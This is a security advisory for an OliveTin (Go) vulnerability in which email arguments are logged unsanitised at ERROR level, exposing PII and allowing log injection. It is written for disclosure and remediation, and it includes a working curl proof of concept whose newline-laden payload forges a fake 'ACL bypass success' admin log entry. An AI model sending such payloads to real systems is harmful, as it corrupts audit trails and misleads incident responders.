Skip to content

GHSA-xx6g-43w2-9g6g GO-2026-4687

OliveTin's email argument makes compliance harder, enables log injection

Medium Go
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
—
No score published
Known exploited
No
Not in CISA's catalog
Weakness
CWE-117 Improper Output Neutralization for Logs
CWE-532 Insertion of Sensitive Information into Log File
Fix
3000.11.3
Upgrade github.com/OliveTin/OliveTin to this version or later

Description

Summary

The typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application's ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security alerts, audit trail manipulation, and persistent misdirection of incident response.

Details

File: service/internal/executor/arguments.go Line: 254 Version confirmed: 3000.11.1

Vulnerable code

func typeSafetyCheckEmail(value string) error {
    _, err := mail.ParseAddress(value)
    log.Errorf("Email check: %v, %v", err, value) 
    if err != nil {
        return err
    }
    return nil
}

The log.Errorf call was likely introduced as a debug statement during development and was never removed before release. It has three distinct security consequences:

  1. PII Exposure via ERROR logs

Every email address (valid or invalid) submitted to any action with type: email is written to the ERROR log. In production deployments, ERROR logs are typically forwarded to centralized systems (Splunk, ELK, Datadog) and retained long-term. Email addresses constitute PII under

  1. Log Injection

The %v format verb renders the raw value string without escaping newlines or control characters. An attacker who can reach any action with a type: email argument can send:

alice@example.com\nlevel="error" msg="ACL bypass success" username="admin"

OliveTin writes two lines to the log. Structured log parsers (logfmt, JSON) treat the second line as an independent real event. This enables:

  • Forged security alerts that trigger real PagerDuty/Opsgenie pages
  • Audit trail manipulation hiding real events among noise
  • False positives that exhaust on-call responder attention (alert fatigue)
  1. Alert Fatigue

Because even successful validations emit ERROR-level entries, any production deployment with email-type actions generates continuous spurious error alerts. Monitoring systems configured to alert on level=error will fire on every normal form submission.

Affected execution: mode: exec: only The shell: execution mode blocks email type arguments via checkShellArgumentSafety() before typeSafetyCheckEmail() is ever reached. The vulnerability is only reachable when the action uses exec: mode which is the recommended and documented mode for email-type arguments (OliveTin explicitly instructs users to use exec: with email type).

PoC

Get the binding ID

BINDING=$(curl -s -X POST http://localhost:1337/api/GetDashboard \
  -H "Content-Type: application/json" -d '{}' | \
  python3 -c "
import sys,json
d=json.load(sys.stdin)
def f(o):
    if isinstance(o,dict):
        a=o.get('action')
        if a and isinstance(a,dict):
            for arg in a.get('arguments',[]):
                if arg.get('type')=='email': print(a['bindingId'])
        [f(v) for v in o.values()]
    elif isinstance(o,list): [f(i) for i in o]
f(d)")
echo "Binding: $BINDING"

Trigger PII exposure (valid email --> ERROR log):

curl -s -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"alice@example.com\"}]}"

Observed server log (confirmed on 3000.11.1):

docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: <nil>, alice@example.com"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, alice@example.com"

Trigger log injection:

curl -s -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"a@b.com\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"}]}"

Observed server log injected line appears as a real event:

docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, alice@example.com"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""

Impact

  • End users whose email addresses are stored in ERROR logs without consent GDPR/CCPA violation risk for operators
  • Security operations teams whose SIEM/log aggregation systems can be fed forged events by any user who can submit email-type action arguments
  • On-call engineers subjected to continuous false positive ERROR alerts from valid form submissions
  • Operators who use type: email for informal token/API key validation those secrets appear in ERROR logs

Recommendation

func typeSafetyCheckEmail(value string) error {
    _, err := mail.ParseAddress(value)
    if err != nil {
        log.WithField("type", "email").Debugf("Email argument type check failed")
        return err
    }
    return nil
}

Only log on failure, at DEBUG level, and never log the value itself.

Affected versions

Go

PackageVulnerableFixed in
github.com/OliveTin/OliveTin
< 3000.11.3
3000.11.3
github.com/OliveTin/OliveTin
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/OliveTin/OliveTin Go → 3000.11.3

go
go get github.com/OliveTin/OliveTin@v3000.11.3 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-117: Improper Output Neutralization for Logs

The product constructs a log message from external input, but it does not neutralize or incorrectly neutralizes special elements when the message is written to a log file.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

CWE-532: Insertion of Sensitive Information into Log File

The product writes sensitive information to a log file.

How to prevent it
  • Architecture and Design, Implementation: Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.
  • Distribution: Remove debug log files before deploying the application into production.
  • Operation: Protect log files against unauthorized read/write.
  • Implementation: Adjust configurations appropriately when software is transitioned from a debug state to production.

References

Timeline

  1. Published
  2. Last updated by the source
AdvisorySeverityWhy it's related
GHSA-jm28-2wcr-qf3h
OliveTin: StartActionAndWait Endpoints Bypass `logs` Permission and Return Action Output
Medium Also affects github.com/OliveTin/OliveTin
GHSA-xc5w-4v5w-7x65
OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check
Medium Also affects github.com/OliveTin/OliveTin
GHSA-xpxj-f2fm-rqch
OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)
High Also affects github.com/OliveTin/OliveTin
GHSA-prj9-97mp-mwh2
OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering
Medium Also affects github.com/OliveTin/OliveTin
GHSA-f637-w7p2-m7fx
OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration
Low Also affects github.com/OliveTin/OliveTin
GHSA-7fq5-7wr8-rjwj
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
High Also affects github.com/OliveTin/OliveTin
GHSA-228v-wc5r-j8m7
OliveTin Vulnerable to Unauthorized Action Output Disclosure via EventStream
Medium Also affects github.com/OliveTin/OliveTin
GHSA-364q-w7vh-vhpc
OliveTin's unsafe parsing of UniqueTrackingId can be used to write files
High Also affects github.com/OliveTin/OliveTin
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor